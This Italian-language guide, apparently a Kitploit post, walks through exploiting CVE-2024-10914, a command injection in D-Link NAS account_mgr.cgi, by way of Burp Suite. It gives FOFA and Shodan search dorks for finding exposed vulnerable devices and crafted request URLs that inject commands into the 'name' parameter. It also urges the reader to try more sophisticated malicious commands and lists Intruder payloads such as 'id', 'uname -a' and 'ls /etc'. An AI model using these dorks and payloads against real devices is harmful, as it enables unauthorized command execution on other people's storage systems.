CVE-2024-10914 Test della vulnerabilità di iniezione di comandi per D-Link NAS_Test manuale con Burp Suite

Dork per trovare dispositivi vulnerabili

Utilizza il seguente dork di ricerca per trovare dispositivi D-Link NAS potenzialmente vulnerabili:

FOFA:
app="D_Link-DNS-ShareCenter" && server=="lighttpd/1.4.25-devel-fb150ff"

SHODAN:
"http.title:D-Link" product:"lighttpd" 

Questa stringa di ricerca aiuta a identificare i dispositivi che eseguono l'app D-Link DNS ShareCenter vulnerabile con la versione specifica del server Lighttpd interessato dalla vulnerabilità.

Questa guida fornisce istruzioni passo passo su come testare manualmente una vulnerabilità di iniezione di comandi (CVE-2024-10914) nel parametro name del D-Link NAS utilizzando Burp Suite. URL di destinazione: http://Target.

Prerequisiti

• Burp Suite
• Un browser web configurato per utilizzare Burp Suite come proxy (solitamente impostato su 127.0.0.1:8080)

Passaggio 1: Configurare Burp Suite

1. Avvia Burp Suite: Avvia Burp Suite sul tuo computer.
2. Configura il proxy: Assicurati che il tuo browser sia configurato per utilizzare Burp Suite come proxy impostando le impostazioni del proxy del browser su 127.0.0.1 sulla porta 8080.

Passaggio 2: Intercettare la richiesta

1. Naviga verso il target: Nel tuo browser, vai a http://Target.
2. Abilita l'intercettazione: In Burp Suite, abilita la funzione di intercettazione per catturare la richiesta in uscita.

Passaggio 3: Modificare la richiesta

1. Individua il parametro vulnerabile: Nella richiesta intercettata, trova il parametro name nell'URL. Dovrebbe apparire come:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;...;%27
   

2. Inietta un comando di test: Modifica il parametro name per includere un comando di test come echo "test":

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;echo%20%22test%22;%27
   

3. Invia la richiesta modificata: Inoltra la richiesta modificata al server.

Passaggio 4: Analizzare la risposta

1. Controlla la risposta: Cerca l'output del comando iniettato nella risposta. Ad esempio, se il server ha eseguito echo "test", dovresti vedere:

   root@kitploit:~

   test
   

Passaggio 5: Sfruttare la vulnerabilità

1. Inietta un comando dannoso: Se il test ha successo, prova comandi più sofisticati, come:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;id;%27
   

2. Invia la richiesta di exploit: Inoltra questa richiesta al server.

3. Analizza la risposta: Verifica se l'output del comando (ad es. informazioni sull'ID utente) è presente nella risposta.

Passaggio 6: Automatizzare con le estensioni di Burp Suite (Opzionale)

1. Usa Intruder: Automatizza i test con lo strumento Intruder di Burp Suite.

   • Fai clic con il tasto destro sulla richiesta e seleziona Send to Intruder.
   • Imposta il parametro name come posizione del payload.
   • Usa un elenco di comandi come payload per il test.

2. Esempi di payload:

   root@kitploit:~

   echo "test"
   id
   uname -a
   ls /etc
   

3. Avvia Intruder: Esegui l'attacco Intruder per testare automaticamente più payload.